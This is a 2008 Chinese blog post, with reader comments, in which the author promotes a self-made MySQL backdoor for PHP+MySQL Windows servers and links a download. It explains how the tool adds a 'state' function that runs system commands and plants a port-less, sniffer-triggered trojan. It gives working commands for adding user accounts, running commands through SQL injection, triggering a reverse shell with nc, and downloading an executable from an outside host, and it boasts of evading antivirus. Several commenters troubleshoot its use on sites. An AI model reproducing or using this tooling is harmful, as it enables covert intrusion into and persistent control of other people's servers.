百度空间 | 百度首页 
               
 
查看文章
  
我写的Mysql BackDoor，稳定，推荐使用
2008年07月12日 星期六 12:39

Mysql BackDoorDoor



Mysql BackDoor是一款针对PHP+Mysql服务器开发的后门,后门安装后为Mysql增加一个可以执行系统命令的"state"函数,并且随 Mysql进程启动一个基于Dll的嗅探型后门,从而巧妙地实现了无端口,无进程,无服务的穿墙木马.程序在WINXP、 WIN2003+MYSQL5.0.X下通过.

[安装]
将Mysql.php传到PHP服务器上,依填上相应的Host、User、Password、DB后，点击"自动安装Mysql BackDoor"



安装成功后,Mysql上便会增加一个"state"函数,同时利用Mysql进程运行一个基于嗅探的后门. 这个后门在Windows下拥有与Mysql一样的系统权限.

[使用state函数]
State函数实际是一个和PHP的”system()”功能相同的函数,可以用来执行系统命令.在”请输入SQL命令：”处填写要执行的mysql语 句,如” select state("net user nohack /add")”,点击”执行SQL语句”后,便会得到运行结果.



[使用基于Sniff的后门]
有了state函数,即使WebShell丢了,只要服务器上有SQL注入点,我们就能通过注入".php?id=1 and state('net user')"的方法在服务器上执行命令.但是如果注入点都没有了呢?我们仍然调用基于Sniff的后门控制服务器.向服务器开放的任意端口发送 以"Mysql-"开头的数据包,便能调用这个Sniff的后门,如:

1.运行系统命令: nc ip 80->回车->Mysql-cmd /c net user abc /add>c:/log.txt! (注意:最后的"!"不可省略)
2.让服务器反弹Shell到本机20082端口:先运行nc –lp 20082监听本机的20082端口,再nc ip 80->回车->Mysql-c-->回车
3.让服务器下载文件:nc ip 80->回车->Mysql-http://www.x.com/door.exe -c mydoor.exe! (注意:最后的"!"不可省略)

除了发送"Mysql-c-”,其他的命令是没有回显的,但相应的命令已经在服务器上运行了.


[卸载]
在Mysql上运行"drop function state"便可卸载,但同时会造成mysql进程退出,重启后恢复正常。


详细用法看压缩包内图文说明。
http://blogimg.chinaunix.net/blog/upfile2/080712123321.rar

注意：能过杀毒软件，但不一定能过主动防御——主动防御太狠了，后门执行系统命令、发邮件、反向连接就会被发现。


发送Mysql-cmd c net user abc add，mysql backdoor运行cmd命令便会被主动防御截获：




发送Mysql-c-，mysql bookdoor运行管道重定向便会被主动防御截获:


类别：win内核/安全 | 添加到搜藏 | 浏览() | 评论 (13)
 
最近读者：
 
网友评论：
1
2008年07月18日 星期五 14:46 | 回复
牛人。。。 膜拜一下。。
 
2
2008年08月24日 星期日 11:30 | 回复
GOOD` 用了之后 `感觉很棒
 
3
2008年09月11日 星期四 10:06 | 回复
SQL语句成功执行:Resource id #2 Array ( [0] => error:,GetLastError=error:,GetLastError= [state("ipconfig")] => error:,GetLastError=error:,GetLastError= ) 这个错误是怎么回事啊
 
4
2008年09月11日 星期四 13:33 | 回复
没权限？ 用 select state('cmd /c ipconfig');
 
5
2008年09月12日 星期五 09:15 | 回复
SQL语句成功执行:Resource id #2 Array ( [0] => error:,GetLastError=error:,GetLastError= [state('cmd /c ipconfig')] => error:,GetLastError=error:,GetLastError= ) 还是这个问题，用asp执行ipconfig 可以正常返回啊
 
6
2008年09月12日 星期五 10:59 | 回复
又遇到了一个跟这个问题一样的站点,我运气真够背的
 
7
2008年09月12日 星期五 17:59 | 回复
select state('c:/windows/system32/cmd /c ipconfig');
 
8
2008年09月13日 星期六 01:02 | 回复
SQL语句成功执行:Resource id #2 Array ( [0] => error:,GetLastError=error:,GetLastError= [state('c:/windows/system32/cmd /c ipconfig')] => error:,GetLastError=error:,GetLastError= )
 
9
2008年12月31日 星期三 18:54 | 回复
DLL已成功的导出到c:\\windows\\system32\\mysqlDll.dll Can't open shared library 'mysqlDll.dll' (errno: 2 ) 出现这个问题了 解决了麻烦给我发个邮件,谢谢 估计是被杀了 hack51nsu@hotmail.com
 
11
2009年01月06日 星期二 18:59 | 回复
回复Ken： 被杀了就没办法了
 
12
2009年01月06日 星期二 19:00 | 回复
回复363402977： 把输出的结果替换掉原来的代码
 
13
2009年03月25日 星期三 17:39 | 回复
你好，请问中了这个木马，该怎么清除呢？谢谢
 
14
2009年03月25日 星期三 18:23 | 回复
[卸载]
在Mysql上运行"drop function state"便可卸载,但同时会造成mysql进程退出,重启后恢复正常。
 
发表评论：
姓　名：
网址或邮箱： (选填)
内　容：
验证码： 请点击后输入四位验证码，字母不区分大小写
      

     

©2009 Baidu